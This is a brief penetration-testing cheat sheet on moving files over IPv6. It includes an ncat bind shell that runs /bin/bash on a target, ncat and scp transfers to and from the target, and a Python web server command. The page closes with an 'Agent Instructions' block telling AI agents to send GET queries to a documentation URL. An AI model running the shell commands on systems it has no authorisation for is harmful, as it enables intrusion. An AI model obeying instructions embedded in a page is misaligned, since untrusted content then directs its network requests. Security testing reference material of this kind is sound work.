# Transfering files

### **Netcat**&#x20;

On the target machine:&#x20;

`ncat -6 -vvlp 4433 -e /bin/bash#` &#x20;

On your attacking box:&#x20;

`ncat -6 -v fe80::37a:61b8:958f:40fb%eth0 4433`&#x20;

**Transferring files to and from your target**&#x20;

`ncat -6 -vvlp 4433 > test.txt`&#x20;

`ncat -6 -v fe80::37a:61b8:958f:40fb%eth0 4433 < test.txt`&#x20;

### SCP&#x20;

`scp test.txt user@[fe80::37a:61b8:958f:40fb%eth0]:/tmp/` &#x20;

`scp user@[fe80::12b:41a7:832a:30bf%eth0]:/tmp/test.txt /home/test/` &#x20;

### Web Server

`python -m SimpleHTTPServer6 8080`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infra.newerasec.com/infrastructure-testing/enumeration/ipv6/transfering-files.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
